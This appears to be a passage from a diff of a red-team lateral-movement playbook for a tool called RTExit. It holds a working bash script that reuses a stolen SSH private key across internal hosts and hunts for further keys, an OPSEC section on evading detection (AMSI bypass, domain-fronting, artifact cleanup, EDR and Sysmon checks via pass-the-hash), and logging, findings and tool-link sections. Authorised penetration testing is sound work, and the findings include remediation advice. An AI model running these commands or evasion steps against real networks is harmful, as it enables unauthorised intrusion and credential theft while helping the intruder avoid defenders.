**Context:** Compromised a developer's workstation. Found `~/.ssh/id_rsa` (unprotected private key) and `~/.ssh/known_hosts` listing internal servers. Goal: reach all servers where this key is authorized.
|
|
797
|
+
|
|
798
|
+
```bash
|
|
799
|
+
# Step 1: Extract key from compromised host
|
|
800
|
+
# (already have local access or shell on dev workstation)
|
|
801
|
+
cat ~/.ssh/id_rsa > /tmp/dev_id_rsa
|
|
802
|
+
cat ~/.ssh/known_hosts | awk '{print $1}' | sort -u > /tmp/known_hosts.txt
|
|
803
|
+
chmod 600 /tmp/dev_id_rsa
|
|
804
|
+
|
|
805
|
+
# Step 2: Extract hostnames/IPs from known_hosts
|
|
806
|
+
# known_hosts may be hashed — use ssh-keygen to reveal
|
|
807
|
+
ssh-keygen -F "192.168.1." -f ~/.ssh/known_hosts 2>/dev/null
|
|
808
|
+
|
|
809
|
+
# Step 3: Attempt SSH connection to each known host
|
|
810
|
+
while IFS= read -r host; do
|
|
811
|
+
echo "Trying $host..."
|
|
812
|
+
ssh -o ConnectTimeout=5 \
|
|
813
|
+
-o StrictHostKeyChecking=no \
|
|
814
|
+
-o BatchMode=yes \
|
|
815
|
+
-i /tmp/dev_id_rsa \
|
|
816
|
+
devuser@"$host" "whoami; hostname; id" 2>/dev/null \
|
|
817
|
+
&& echo "[SUCCESS] $host" >> /tmp/ssh_successes.txt \
|
|
818
|
+
|| echo "[FAIL] $host" >> /tmp/ssh_failures.txt
|
|
819
|
+
done < /tmp/known_hosts.txt
|
|
820
|
+
|
|
821
|
+
cat /tmp/ssh_successes.txt
|
|
822
|
+
|
|
823
|
+
# Step 4: On successful hosts, check for privilege escalation
|
|
824
|
+
for host in $(cat /tmp/ssh_successes.txt | awk '{print $2}'); do
|
|
825
|
+
echo "=== $host ===" >> /tmp/sudo_l_results.txt
|
|
826
|
+
ssh -i /tmp/dev_id_rsa -o StrictHostKeyChecking=no devuser@"$host" "sudo -l 2>/dev/null" >> /tmp/sudo_l_results.txt
|
|
827
|
+
done
|
|
828
|
+
|
|
829
|
+
# Step 5: Check for shared SSH keys on each successful host (lateral expansion)
|
|
830
|
+
for host in $(cat /tmp/ssh_successes.txt | awk '{print $2}'); do
|
|
831
|
+
ssh -i /tmp/dev_id_rsa -o StrictHostKeyChecking=no devuser@"$host" \
|
|
832
|
+
"find /home /root -name id_rsa 2>/dev/null; find /home /root -name authorized_keys 2>/dev/null"
|
|
833
|
+
done
|
|
834
|
+
|
|
835
|
+
# Step 6: Document
|
|
836
|
+
rtx log lateral-movement \
|
|
837
|
+
--from "devworkstation" \
|
|
838
|
+
--to "$(cat /tmp/ssh_successes.txt)" \
|
|
839
|
+
--technique "SSH private key reuse" \
|
|
840
|
+
--evidence "/tmp/ssh_successes.txt,/tmp/sudo_l_results.txt"
|
|
841
|
+
```
|
|
842
|
+
|
|
843
|
+
**Attack Chain:** `Dev Workstation` → `Stolen ~/.ssh/id_rsa` → `SSH key reuse to 4 internal servers` → `Sudo -l abuse on build server` → `Root`
|
|
844
|
+
|
|
845
|
+
---
|
|
846
|
+
|
|
847
|
+
## OPSEC Considerations
|
|
848
|
+
|
|
849
|
+
### Detection Risks by Technique
|
|
850
|
+
|
|
851
|
+
| Technique | Noise Level | Primary Detection Source | Evasion |
|
|
852
|
+
|-----------|-------------|--------------------------|---------|
|
|
853
|
+
| PSExec | HIGH | Windows Event 7045 (service install), 4624 logon type 3 | Prefer WMIExec or WinRM |
|
|
854
|
+
| WMIExec | MEDIUM | Event 4688 (process creation), WMI activity logs | Use `-nooutput` flag, clean up temp files |
|
|
855
|
+
| SMBExec | MEDIUM | Service creation events (less common EDR sig) | Short-lived — cleaned up automatically |
|
|
856
|
+
| Evil-WinRM | MEDIUM | Event 4624 logon type 3, PowerShell logs (4103/4104) | Use AMSI bypass first, avoid suspicious cmdlets |
|
|
857
|
+
| Pass-the-Hash | MEDIUM | Event 4624 type 3 with NTLMSSP, unusual source IP | Accept risk if only option; use Kerberos if possible |
|
|
858
|
+
| Pass-the-Ticket | LOW-MEDIUM | Event 4768/4769, abnormal ticket requests | Forge tickets with realistic lifetimes |
|
|
859
|
+
| SSH tunneling | LOW | SSH logs on pivot host, netflow anomalies | Use port 443 for Chisel; keep sessions short |
|
|
860
|
+
| Chisel | LOW | HTTP POST to unusual external IP, user-agent | Set realistic user-agent, use domain-fronting |
|
|
861
|
+
| Ligolo-ng | LOW | TUN interface creation (detectable on EDR), TLS cert | Use legitimate cert, run as existing service |
|
|
862
|
+
| Scheduled Tasks | HIGH | Event 4698 (task created), 4702 (task updated) | Delete task immediately after use |
|
|
863
|
+
| DCOM | MEDIUM | Event 4688, DCOM activation, network logon | Less-detected than PSExec but still noisy |
|
|
864
|
+
| NFS mounting | LOW | NFS server logs, network traffic | Read-only mount leaves minimal logs |
|
|
865
|
+
| Sudo abuse | LOW | /var/log/auth.log (sudo lines), auditd | Clean /tmp, avoid writing to disk |
|
|
866
|
+
|
|
867
|
+
### General OPSEC Guidelines
|
|
868
|
+
|
|
869
|
+
```bash
|
|
870
|
+
# 1. Prefer pull-based execution over push (have target reach back to you)
|
|
871
|
+
# 2. Clean up artifacts after each technique
|
|
872
|
+
# Windows: del C:\Windows\Temp\tools.exe
|
|
873
|
+
# Linux: rm -f /tmp/chisel /tmp/ligolo-agent
|
|
874
|
+
|
|
875
|
+
# 3. Use existing service ports — Chisel on 443, not 8080
|
|
876
|
+
# 4. Limit simultaneous connections — one active pivot at a time
|
|
877
|
+
# 5. Avoid creating new domain/local accounts unless strictly required
|
|
878
|
+
# 6. Prefer existing credentials over creating new ones
|
|
879
|
+
# 7. Match normal business hours for movement activity
|
|
880
|
+
# 8. Use -nooutput with WMIExec where possible (reduces disk writes)
|
|
881
|
+
|
|
882
|
+
# Check if Sysmon is running before choosing technique
|
|
883
|
+
nxc smb "$TARGET_DC" -u "$TARGET_USER" -H "$TARGET_HASH" -x "sc query sysmon"
|
|
884
|
+
nxc smb "$TARGET_DC" -u "$TARGET_USER" -H "$TARGET_HASH" -x "sc query sysmon64"
|
|
885
|
+
|
|
886
|
+
# Check AV/EDR product
|
|
887
|
+
nxc smb "$TARGET_DC" -u "$TARGET_USER" -H "$TARGET_HASH" -x "wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName"
|
|
888
|
+
|
|
889
|
+
# If CrowdStrike/SentinelOne detected, avoid PSExec/service creation entirely
|
|
890
|
+
# Prefer WMIExec -nooutput or WinRM (Evil-WinRM) instead
|
|
891
|
+
```
|
|
892
|
+
|
|
893
|
+
---
|
|
894
|
+
|
|
895
|
+
## Integration with RTExit Autodoc Engine
|
|
896
|
+
|
|
897
|
+
### Logging Lateral Movement Events
|
|
898
|
+
|
|
899
|
+
```bash
|
|
900
|
+
# Log a lateral movement hop
|
|
901
|
+
rtx log lateral-movement \
|
|
902
|
+
--from "WKSTN01 (192.168.1.50)" \
|
|
903
|
+
--to "DC01 (192.168.1.10)" \
|
|
904
|
+
--technique "WMIExec Pass-the-Hash" \
|
|
905
|
+
--user "CORP\\DomainAdmin" \
|
|
906
|
+
--timestamp "$(date -u +%Y-%m-%dT%H:%M:%SZ)" \
|
|
907
|
+
--evidence "/tmp/wmiexec_output.txt"
|
|
908
|
+
|
|
909
|
+
# Log pivot establishment
|
|
910
|
+
rtx log pivot \
|
|
911
|
+
--pivot-host "$PIVOT_HOST" \
|
|
912
|
+
--method "Chisel SOCKS5" \
|
|
913
|
+
--reachable-networks "192.168.2.0/24" \
|
|
914
|
+
--notes "Pivot active on attacker port 1080"
|
|
915
|
+
```
|
|
916
|
+
|
|
917
|
+
### Creating Findings
|
|
918
|
+
|
|
919
|
+
```bash
|
|
920
|
+
# High-severity finding for pass-the-hash
|
|
921
|
+
rtx finding create \
|
|
922
|
+
--title "NTLM Pass-the-Hash Enables Lateral Movement to Domain Controller" \
|
|
923
|
+
--severity CRITICAL \
|
|
924
|
+
--category "Lateral Movement" \
|
|
925
|
+
--cve "" \
|
|
926
|
+
--cvss 9.0 \
|
|
927
|
+
--detail "Recovered NTLM hash for CORP\\DomainAdmin was successfully used via WMIExec to authenticate to DC01 without knowing the plaintext password. This demonstrates that credential hardening (credential guard, restricted admin mode) is not enforced." \
|
|
928
|
+
--remediation "Enable Credential Guard. Enforce Protected Users security group for privileged accounts. Deploy LAPS to eliminate shared local admin passwords. Monitor Event ID 4624 type 3 logons from unusual sources." \
|
|
929
|
+
--evidence "/tmp/cme_pwned.txt"
|
|
930
|
+
|
|
931
|
+
# Pivot network finding
|
|
932
|
+
rtx finding create \
|
|
933
|
+
--title "Network Segmentation Bypass via DMZ Pivot Host" \
|
|
934
|
+
--severity HIGH \
|
|
935
|
+
--category "Network Pivoting" \
|
|
936
|
+
--detail "The DMZ web server (10.10.10.5) was used as a Chisel pivot to access the internal 192.168.100.0/24 network, bypassing firewall controls. The internal segment contained database servers and file servers not intended to be reachable from untrusted zones." \
|
|
937
|
+
--remediation "Implement host-based firewall on DMZ servers to restrict outbound connections. Monitor for unusual CONNECT/POST traffic to external IPs from DMZ hosts. Apply egress filtering at perimeter firewall."
|
|
938
|
+
```
|
|
939
|
+
|
|
940
|
+
### Generating Lateral Movement Report Section
|
|
941
|
+
|
|
942
|
+
```bash
|
|
943
|
+
# Auto-generate lateral movement section for final report
|
|
944
|
+
rtx report section \
|
|
945
|
+
--section "lateral-movement" \
|
|
946
|
+
--include-screenshots \
|
|
947
|
+
--output "_rtexit-output/sections/lateral-movement.md"
|
|
948
|
+
|
|
949
|
+
# View current movement map
|
|
950
|
+
rtx map show --type lateral-movement
|
|
951
|
+
```
|
|
952
|
+
|
|
953
|
+
### Evidence Collection
|
|
954
|
+
|
|
955
|
+
```bash
|
|
956
|
+
# Collect and store evidence files
|
|
957
|
+
EVIDENCE_DIR="_rtexit-output/findings/lateral-movement/$(date +%Y%m%d)"
|
|
958
|
+
mkdir -p "$EVIDENCE_DIR"
|
|
959
|
+
|
|
960
|
+
# Copy relevant output files
|
|
961
|
+
cp /tmp/cme_results.txt "$EVIDENCE_DIR/"
|
|
962
|
+
cp /tmp/ntds_dump.txt "$EVIDENCE_DIR/"
|
|
963
|
+
cp /tmp/pivot_scan.txt "$EVIDENCE_DIR/"
|
|
964
|
+
cp /tmp/ssh_successes.txt "$EVIDENCE_DIR/"
|
|
965
|
+
|
|
966
|
+
# Screenshot (if GUI available)
|
|
967
|
+
# rtx screenshot --label "wmiexec-dc01-shell" --output "$EVIDENCE_DIR/"
|
|
968
|
+
```
|
|
969
|
+
|
|
970
|
+
---
|
|
971
|
+
|
|
972
|
+
## Output / Documentation
|
|
973
|
+
|
|
974
|
+
After completing lateral movement activities, the following artifacts should be captured:
|
|
975
|
+
|
|
976
|
+
| Artifact | Location | Description |
|
|
977
|
+
|----------|----------|-------------|
|
|
978
|
+
| CrackMapExec sweep results | `_rtexit-output/findings/lateral-movement/cme_sweep.txt` | Shows which hosts accepted credentials |
|
|
979
|
+
| WMIExec / PSExec shell output | `_rtexit-output/findings/lateral-movement/exec_sessions/` | Terminal transcripts per target |
|
|
980
|
+
| Credential dump (SAM/NTDS) | `_rtexit-output/findings/credentials/` | Hashes and secrets from compromised hosts |
|
|
981
|
+
| Network pivot diagram | `_rtexit-output/diagrams/pivot_map.drawio` | Visual of pivot chain |
|
|
982
|
+
| Lateral movement log | `_rtexit-output/logs/lateral-movement.jsonl` | Machine-readable movement timeline |
|
|
983
|
+
| Findings (per host) | `_rtexit-output/findings/lateral-movement/*.md` | Per-technique findings for report |
|
|
984
|
+
|
|
985
|
+
**Pivot path notation (for report):**
|
|
986
|
+
|
|
987
|
+
```
|
|
988
|
+
Attacker (VPN) → [Chisel:443] → DMZ-WEB01 (10.10.10.5) → [SOCKS5] → INT-DC01 (192.168.100.10)
|
|
989
|
+
```
|
|
990
|
+
|
|
991
|
+
---
|
|
992
|
+
|
|
993
|
+
## Resources
|
|
994
|
+
|
|
995
|
+
### Impacket
|
|
996
|
+
- GitHub: https://github.com/fortra/impacket
|
|
997
|
+
- Examples directory: `/opt/impacket/examples/`
|
|
998
|
+
- Key scripts: `psexec.py`, `wmiexec.py`, `smbexec.py`, `getTGT.py`, `secretsdump.py`, `atexec.py`
|
|
999
|
+
|
|
1000
|
+
### Evil-WinRM
|
|
1001
|
+
- GitHub: https://github.com/Hackplayers/evil-winrm
|
|
1002
|
+
- Docs: https://github.com/Hackplayers/evil-winrm/wiki
|
|
1003
|
+
|
|
1004
|
+
### CrackMapExec / NetExec
|
|
1005
|
+
- CME GitHub: https://github.com/byt3bl33d3r/CrackMapExec
|
|
1006
|
+
- NetExec GitHub: https://github.com/Pennyw0rth/NetExec
|
|
1007
|
+
- Wiki: https://www.netexec.wiki/
|
|
1008
|
+
|
|
1009
|
+
### Chisel
|
|
1010
|
+
- GitHub: https://github.com/jpillora/chisel
|
|
1011
|
+
- Releases (pre-built binaries): https://github.com/jpillora/chisel/releases
|
|
1012
|
+
|
|
1013
|
+
### Ligolo-ng
|
|
1014
|
+
- GitHub: https://github.com/nicocha30/ligolo-ng
|
|
1015
|
+
- Wiki: https://github.com/nicocha30/ligolo-ng/wiki
|
|
1016
|
+
|
|
1017
|
+
### Rubeus (Kerberos attacks)
|
|
1018
|
+
- GitHub: https://github.com/GhostPack/Rubeus
|
|
1019
|
+
|
|
1020
|
+
### GTFOBins (Linux sudo/SUID abuse)
|
|
1021
|
+
- https://gtfobins.github.io/
|
|
1022
|
+
|
|
1023
|
+
### LOLBAS (Windows LotL binaries)
|
|
1024
|
+
- https://lolbas-project.github.io/
|
|
1025
|
+
|
|
1026
|
+
### References
|
|
1027
|
+
- MITRE ATT&CK Lateral Movement: https://attack.mitre.org/tactics/TA0008/
|
|
1028
|
+
- MITRE T1021 — Remote Services: https://attack.mitre.org/techniques/T1021/
|
|
1029
|
+
- MITRE T1550 — Use Alternate Authentication Material: https://attack.mitre.org/techniques/T1550/
|
|
1030
|
+
- HackTricks Lateral Movement: https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/lateral-movement
|
|
1031
|
+
- The Hacker Recipes — AD lateral movement: https://www.thehacker.recipes/active-directory-domain-services/movement/lateral-movement
|
|
1032
|
+
- PayloadsAllTheThings — Windows lateral movement: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md
|